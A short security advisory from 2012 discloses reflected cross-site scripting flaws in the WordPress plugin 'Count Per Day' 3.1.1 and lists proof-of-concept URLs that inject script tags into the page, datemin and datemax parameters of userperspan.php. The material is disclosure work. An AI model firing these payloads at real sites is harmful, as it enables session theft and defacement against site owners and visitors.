WordPress Plugin 'Count Per Day' 3.1.1 Multiple Cross-site scripting vulnerabilities

Advisory: WordPress Plugin 'Count Per Day' 3.1.1 Multiple Cross-site scripting vulnerabilities
Advisory ID: SSCHADV2012-015
Author: Stefan Schurtz
Affected Software: Successfully tested on 'Count Per Day' 3.1.1
Vendor URL: http://www.tomsdimension.de/wp-plugins/count-per-day
Vendor Status: fixed

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Vulnerability Description
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The WordPress plugin 'Count Per Day' 3.1.1' is prone to multiple XSS vulnerabilities

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PoC-Exploit
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http://[target]/wordpress/wp-content/plugins/count-per-day/userperspan.php?page="/><script>alert(88)</script>
http://[target]/wordpress/wp-content/plugins/count-per-day/userperspan.php?page="/><script>alert(/xss/)</script>

http://[target]/wordpress/wp-content/plugins/count-per-day/userperspan.php?datemin="/><script>alert(88)</script>
http://[target]/wordpress/wp-content/plugins/count-per-day/userperspan.php?datemin="/><script>alert(/xss/)</script>

http://[target]/wordpress/wp-content/plugins/count-per-day/userperspan.php?datemax="/><script>alert(88)</script>
http://[target]/wordpress/wp-content/plugins/count-per-day/userperspan.php?datemax="/><script>alert(/xss/)</script>

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Solution
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